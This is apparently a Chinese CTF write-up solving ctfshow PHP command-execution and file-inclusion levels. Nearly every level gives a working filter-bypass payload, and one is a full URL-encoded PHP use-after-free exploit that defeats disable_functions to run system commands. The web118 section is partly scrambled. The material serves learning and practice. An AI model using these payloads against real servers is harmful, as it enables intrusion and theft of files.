命令执行
web29
先打开题目环境

ban了flag字符,可以用通配符*直接绕
1 | ?c=system("cat%20fl*"); |
直接拿到flag
web30

禁用了flag,system,php,根据上题知道这题要读取flag.php文件的内容,flag和php都被过滤了
system被ban,可以用exec
1 | ?c=exec("cp fl* 1.txt"); |
执行完直接访问1.txt,里面存放的是flag
passthru也可以用
1 | ?c=passthru("cat fl*"); |
也能直接拿到
还有个在网上看到其他师傅写的骚操作绕过
1 | ?c=eval($_GET[a])&a=system("cat flag.php"); |
等于RCE传参一个木马,在木马里再进行传参,就不会被waf拦下来
web31

题目关键代码
1 | if(isset($_GET['c'])){ |
ban了/flag,system,php,cat,sort,shell
可以用上题的办法,RCE写木马,在木马里传参,但是有一个细节要注意,传参的木马变量名不能和RCE的变量名一样
在这里我用了相同的名字,是失败的
这是正确的写法
1 | ?c=eval($_GET[1]);&1=system("cat flag.php"); |
两者都可以
web32

题目关键代码
1 | if(isset($_GET['c'])){ |
可以看到ban了很多函数,之前的题目能够通杀的写马也用不了,因为ban掉了括号(),传参写马是会被过滤的
所以得要用不需要括号的函数,一筹莫展,上网搜了,include可以用,跟写木马一个原理,include是包含某个文件,直接用伪协议
1 | ?c=include$_GET[1]&1=php://filter/read=convert.base64-encode/resource=flag.php |

出来一串base64直接解码就能解出flag
web33

题目关键代码
1 | if(isset($_GET['c'])){ |
这题多ban了个””
不影响,可以继续沿用上题的poc,把””去掉即可
1 | ?c=include$_GET[1]&1=php://filter/read=convert.base64-encode/resource=flag.php |
web34

题目关键代码
1 | if(isset($_GET['c'])){ |
多过滤了: 不影响,继续套公式,沿用上一题的poc
1 | ?c=include$_GET[1]&1=php://filter/read=convert.base64-encode/resource=flag.php |
web35

题目关键代码
1 | if(isset($_GET['c'])){ |
多了<和=的过滤,不影响,继续套公式
1 | ?c=include$_GET[1]&1=php://filter/read=convert.base64-encode/resource=flag.php |
web36

题目关键代码
1 | if(isset($_GET['c'])){ |
多了数字过滤,木马参数名换成a,其他继续套公式
1 | ?c=include$_GET[a]&a=php://filter/read=convert.base64-encode/resource=flag.php |
web37

关键代码
1 | if(isset($_GET['c'])){ |
这题开始就是考了文件包含,不再是命令执行,用data文件包含
1 | if(isset($_GET['c'])){ |
不能包含flag字符串,filter伪协议用不了,直接用data伪协议,system查看flag
1 | ?c=data://text/plain,<?php system("cat fla?.php"); |
web38
1 | if(isset($_GET['c'])){ |
跟上题一样的data协议,写成base64的
1 | ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZj8/Py5wP3AiKTs= <?php system("cat f???.p?p"); |
web39
1 | if(isset($_GET['c'])){ |
这题包含的文件末尾会多加.php,但是可以沿用data协议,data协议会直接闭合语句,不影响
1 | ?c=data://text/plain,<?php system("cat fl*"); ?> |
web40
1 | if(isset($_GET['c'])){ |
ban了很多字符,这时候直接无参RCE
1 | ?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); |
web41
1 | if(isset($_POST['c'])){ |
这题要异或,可以直接套网上的脚本
1 |
|
上面的代码会生成一个rce_or.txt,然后再用python引用一下
1 | import requests |
这是最后的payload
1 | ?c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60") |
只能用bp传参,hackbar会再编码一次,出不了结果
web42
1 | if(isset($_GET['c'])){ |
/dev/null 这条命令会把输出重定向到一个空的文件里,屏幕不会显示输出的结果
2&>1 把2的输出重定向到1,把标准错误输出重定向到标准输出,标准输出重定向到了空文件,所以屏幕上不会出现任何结果,这里可以用分隔符||,不执行这条命令,只执行前面那条
1 | ?c=tac flag.php|| |
即可
web43
1 | if(isset($_GET['c'])){ |
多ban了个cat和; 上题的payload可以直接沿用
也可以用
1 | ?c=tac flag.php%0a |
web44
1 | if(isset($_GET['c'])){ |
多ban了flag字符,直接通配符就好了
1 | ?c=tac fl*|| |
web45
1 | if(isset($_GET['c'])){ |
多ban了一个空格,用$IFS$9代替
1 | ?c=tac$IFS$9fl*|| |
web46
1 | if(isset($_GET['c'])){ |
ban了所有数字,flag字符,号,$号
上一个的payload用不了,空格还可以用%09代替,号可以用多个?代替
1 | ?c=tac fl??.???|| |
web47
1 | if(isset($_GET['c'])){ |
多ban了一堆查看文件的命令,但是tac还能用
1 | ?c=tac%09fl??.???|| |
web48
1 | if(isset($_GET['c'])){ |
上题的继续沿用
1 | ?c=tac%09fl??.???|| |
web49
1 | if(isset($_GET['c'])){ |
上题继续套公式
1 | ?c=tac%09fl??.???|| |
web50
1 | if(isset($_GET['c'])){ |
ban了%09,空格用<>也可以代替,这题有个坑,?通配符用不了
我试了半天没有出flag,找了下原因
可以看到全都是模糊匹配的flag文件
所以这题只能把flag字符分割开来
1 | ?c=tac<fla''g.php|| |
web51
1 | if(isset($_GET['c'])){ |
ban了tac,可以用nl代替
1 | ?c=nl<>fla''g.php |
web52
1 | if(isset($_GET['c'])){ |
ban了>和<,
拿${IFS}当作空格
1 | ?c=nl${IFS}fla''g.php|| |
web53
1 | if(isset($_GET['c'])){ |
这题代码会显示输出的结果,再把结果用系统命令函数system输出
1 | ?c=nl${IFS}fla''g.php |
web54
1 | if(isset($_GET['c'])){ |
字符不能以waf中给的顺序出现,nl也用不了
用vi也可以查看文件
1 | ?c=vi${IFS}fla?.php |
网上还有别的师傅写的
1 | ?c=/bin/?at${IFS}fla?.php |
也可以用,Linux的很多命令存放在/bin目录下,可以输入绝对路径使用命令,还能用通配符
web55
1 | if(isset($_GET['c'])){ |
网上搜的别的师傅的,利用base64 命令
1 | ?c=/???/????64 ????.??? |
就是/bin/目录下的base64命令 然后匹配flag.php字符,编码成base64,输出到屏幕上
解码一下就是flag
web56
1 | if(isset($_GET['c'])){ |
waf过滤了很多
网上搜了学到一种办法
1 |
|
原题目更改html代码,变成一个临时文件上传页面
然后构造文件上传
payload:?c=.%20/???/????????[@-[]
原理:可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
可以看这篇文章 https://blog.csdn.net/qq_46091464/article/details/108513145
然后自己学着构造了
注意,如果一次发成功显示200OK,没有回显结果,可能只是网页慢,多发几次包就能出
web57
1 | //flag in 36.php |
提示flag在36.php里,题目把所有字母和数字都ban掉了,用不了,题目要构造出36,只能套网上的,感觉RCE不会考到这么阴间的自增
1 | ?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) |
payload构造出36,直接传参到c里面,就能出了
原理就是利用Linux的特性,$(())是0,$((~ (()) ))是-1,不太好理解,直接套吧
web58
1 | if(isset($_POST['c'])){ |
POST传参c
ban掉了很多系统函数
passthru()用不了,system()也用不了
可以用highlight_file(“flag.php”); 单引号或者双引号都可以
或者show_source(“flag.php”);
伪协议也能用
1 | ?c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php"); |
直接看文件也可以
甚至于网上看到的别的师傅用的copy文件
1 | ?c=copy("flag.php","flag.txt"); |
或者把copy改成rename也可以出
1 | ?c=echo file_get_contents("flag.php"); |
web59
跟上题一样
1 | c=highlight_file("flag.php"); |
writeup里面还有师傅是扫描文件的
1 | c=print_r(scandir(dirname('FILE'))) |
这个保险一点,题目如果flag名字不是flag.php,那直接RCE是出不来的
web60
跟上题一样套公式
web61
套公式
web62
套公式
web63
套公式
web64
套公式
web65
套公式
web66

这次不能套了,假的flag,得跟之前的writeup里面师傅写的那样扫描文件
扫描到根目录有个flag文件,highlight_file高亮flag文件
是flag文件
web67
跟上题一样,看网上别的文章里说扫描文件时ban了print_r,正常是要扫描的,可以用var_dump代替print_r
web68
查看文件的highlight_file和file_get_contents都被ban了
1 | ?c=var_dump(scandir('/')); |
flag在根目录
include一下
1 | ?c=include("/flag.txt"); |
web69
var_dump被ban了,用var_export
c=var_export(scandir(“/“));
然后跟上题一样包含文件
web70
跟上题一样
web71
这题给的是附件源码
1 |
|
审计一下,有陌生的函数
ob_get_contents() 读取缓冲区内容
ob_get_clean() 清除缓冲区内容,并关闭缓冲区,不输出内容
preg_replace() 正则匹配和替换,这里会把所有字母和数字都替换为?
网上搜了加一个exit()可以不执行后面的内容,直接退出代码
那就按照常规思路先扫目录
1 | ?c=var_export(scandir("/"));exit(); |
看到flag文件
include一下
1 | ?c=include("/flag.txt");exit(); |
web72
这题有点复杂,有网上大佬的脚本,直接复制的payload
不过glob协议应该是通用的,可以留在本地
1 | c= $a=new DirectoryIterator("glob:///*"); |

glob://后面的路径更改别的目录也可以查看,也可以模糊匹配,某个目录下的某个文件
然后就是网上的一长串脚本,看不懂,就复制
1 |
|
运行出来最终的peyload是
1 | c=%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E%0A |
web73
跟上题一样,用glob协议,看flag文件名
1 | c= |
flag文件名是flagc.txt
直接包含flag
POST传参
1 | c=include("/flagc.txt");exit(); |
web74
还是跟上题一样,这题是flagx.txt,改一下flag文件名包含一下就行
web75
依然先用glob://协议看flag名字,这题flag名字是flag36.txt
但是这题不能包含flag文件了,把include禁用了
看了网上别的师傅的文章
https://blog.csdn.net/KeepPromise/article/details/130448494
https://blog.csdn.net/m0_48780534/article/details/125095560?ydreferer=aHR0cHM6Ly93d3cuY3Nkbi5uZXQvP3NwbT0xMDA4LjIwMjguMzAwMS40NDc2
1 | try { |
代码创建一个实例命名为PDO,连接题目的数据库ctftraining,账号和密码都是root
然后执行SQL语句用load_file函数查询/flag36.txt的内容,输出查询的结果并用|分割
如果文件不存在的话就用PDOException打印错误信息终止
可以看到获取了flag,不得不说这个方法很小众,连数据库查看flag文件
web76
跟上题一样glob协议查看,flag文件名是flag36d.txt,把上题的payload改改就能直接用
web77
依然用glob协议,查看到flag文件是flag36x.txt,还看到个readflag
也是学的网上的别的师傅的
用php7.4版本的FFI,回头再去研究研究,这里先贴payload
1 | c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a); |
然后访问1.txt就可以了
分析一下这个payload
1 | c=$ffi = FFI::cdef("int system(const char *command);"); |
FFI::cdef是一个函数,可以在php里面调用C语言代码,里面调用了C语言库的函数int system(const char *command)
这个函数官方解释是
把 command 指定的命令名称或程序名称传给要被命令处理器执行的主机环境,并在命令完成后返回
等于就是创建system对象为$ffi($ffi变量名不能改)
创建变量$a,执行根目录的/readflag,因为命令结果不会回显到屏幕上,所以把结果保存在文件里
最后用$ffi变量调用system函数执行$a里的指令,最后访问就可以
web118
源代码里有个system($code),然后不知道怎么做了
看的网上别的师傅写的
${PWD}能够回显当前目录,还可以进行切片,获取想要的字母
例如
而如果命令行echo ${PATH:A},会默认获取到倒数第一个字母,是/bin的nA}${PWD:~A} ????.???
拼接两个字母可以得到nl,flag.php 可以用通配符匹配一下
payload:${PATH:
web119
这题也是看的别的师傅的
贴一下链接 https://blog.csdn.net/Jayjay___/article/details/132331267
payload:
1 | {PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.??? |
后面有空学一下,Linux的bash内置变量
web120
跟上题一样的payload
web121
1 | {PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.??? |
web122
1 | code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? |
利用random获取随机数4或者5来构造base64
payload构造出/bin/base64 flag.php
就能拿到flag了
web124
国赛原题
看的网上的payload
1 | ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php |
记得请求头加个1:tac flag.php